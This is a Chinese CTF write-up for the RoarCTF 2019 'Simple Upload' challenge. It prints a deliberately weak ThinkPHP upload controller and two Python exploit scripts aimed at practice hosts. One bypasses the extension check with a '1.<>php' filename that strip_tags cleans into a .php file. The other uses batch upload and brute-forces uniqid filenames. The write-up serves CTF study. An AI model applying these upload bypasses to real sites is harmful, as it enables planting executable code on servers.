• [RoarCTF 2019]Simple Upload


    知识点: thinkphp upload 漏洞利用
    
    • 1

    命名空间和use

    命名空间就是相当于一个文件夹的路径。同一个命名空间下,不能有相同的类文件。同名的类文件可以存在于不同的命名空间下面。
    
    用了命名空间,可以方便的调用其他文件夹下的文件。
    
    只需要通过using、import、use引入命名空间下的文件即可。
    
    来自:https://www.php.cn/php-weizijiaocheng-108860.html
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    题目

    
    namespace Home\Controller;
    
    use Think\Controller;
    
    class IndexController extends Controller
    {
        public function index()
        {
            show_source(__FILE__);
        }
        public function upload()
        {
            $uploadFile = $_FILES['file'] ;
            
            if (strstr(strtolower($uploadFile['name']), ".php") ) {
                return false;
            }
            
            $upload = new \Think\Upload();// 实例化上传类
            $upload->maxSize  = 4096 ;// 设置附件上传大小
            $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
            $upload->rootPath = './Public/Uploads/';// 设置附件上传目录
            $upload->savePath = '';// 设置附件上传子目录
            $info = $upload->upload() ;
            if(!$info) {// 上传错误提示错误信息
              $this->error($upload->getError());
              return;
            }else{// 上传成功 获取上传文件信息
              $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
              echo json_encode(array("url"=>$url,"success"=>1));
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34

    wp

    在做题前我们需要知道知识点就是,在路由里,默认的上传文件路径是/home/index/upload,但是这题有一个坑 如果我们输url+/home/index/upload的话,会404。

    原理:

    tp内置了一套上传文件的方法在配置的时候不知道大家有没有注意过根目录配置的问题。
    
    eg:   $upload->rootPath = './OA/Uploads/';
    
    这样配置就可以定位到 根目录/OA/Uploads/下。
    
    这个'./' 众所周知是表示当前目录,可是在这里为什么可以被解析为根目录呢?
    
    百思不得其解,后来终于意识到一个问题,由于thinkphp是单入口文件,所有的问题都要由index.php进入,故而这个'./'是相对于index.php 的目录,终于明白了吧。?
    
    原文链接:https://blog.csdn.net/qq_28779275/article/details/79153645
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    而在这边默认上传路径是index.php,于是我们在上传路径前加上index.php就行了。

    0x01

    代码层绕过
    传进入的文件名在处理的时候被这么处理:

    foreach ($files as $key => $file) {
          $file['name']  = strip_tags($file['name']);
          if(!isset($file['key'])) $file['key'] = $key;
           /* 通过扩展获取文件类型,可解决FLASH上传$FILES数组返回文件类型错误的问题 */
                if(isset($finfo)){
                    $file['type']   =   finfo_file ( $finfo ,  $file['tmp_name'] 	);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    有个strip_tags,直接绕,传1.<>php,直接出flag:

    import  requests
    
    url = "http://8cbe0e9c-b7de-46f3-b93d-555073775ad1.node3.buuoj.cn/index.php/home/index/upload"
    
    files={'file':('1.<>php',"")}
    r=requests.post(url=url,files=files)
    print(r.text)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    0x02

    upload()批量上传

    原理:

    think PHP里的upload()函数在不传参的情况下是批量上传的
    
    • 1

    upload类的错误使用而导致的getshell ,我们知道 如果upload类在不含参的时候上传是不会对文件进行过滤的,也就是会把整个$_FILE数组的文件都上传。

    也就是说不传参的情况下是批量上传的,整个$_FILES数组的上传的文件都会被保存,这里可以理解为防护机制只会检测一次,运用条件竞争,多次上传便可以绕过文件后缀的检测。

    thinkphp对于文件命名是用uniqid()函数,这是基于毫秒级的当前时间,也就是我们可以先上传一个文件,然后通过上传的文件名爆破出我们php文件的名字。

    import requests
    url = 'http://96fb3f40-df0d-46c4-be7f-008d01f36fec.node4.buuoj.cn:81/index.php/Home/index/upload'
    file1 = {'file':("1.txt","")}
    file2 = {'file[]':('1.<>php',"")}
    file3 = {'file':("1.txt","")}
    r=requests.post(url,files=file1)
    print(r.text)
    r=requests.post(url,files=file2)
    print(r.text)
    r=requests.post(url,files=file3)
    print(r.text)
    dir='abcdef0123456789'
    for i in dir:
        for j in dir:
            for x in dir:
                for y in dir:
                    for z in dir:
                        url='http://42ce58e8-bbfa-427d-b9c2-c732b517a827.node3.buuoj.cn/Public/Uploads/2020-12-04/5fc9da34{}{}{}{}{}.txt'.format(i,j,x,y,z)
                        r = requests.get(url)
                        print(url)
                        if r.status_code== 200:
                            print(url)
                            break
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    参考

    https://www.icode9.com/content-4-774200.html
    https://blog.csdn.net/rfrder/article/details/116036092

  • 相关阅读:
    【校招VIP】产品深度理解之热点事件分析
    K8S安装过程四:Docker 安装部署
    神经网络的发展历史
    postmain 存储接口返回值
    MySQL和Oracle区别
    fastadmin 自定义导出excel
    Java,给数组元素赋不同的随机值
    Makefile(详细教程)
    基于SSM+Vue的网上花店系统
    QT4到QT5移植出现的一些问题
  • 原文地址:https://blog.csdn.net/shinygod/article/details/124274666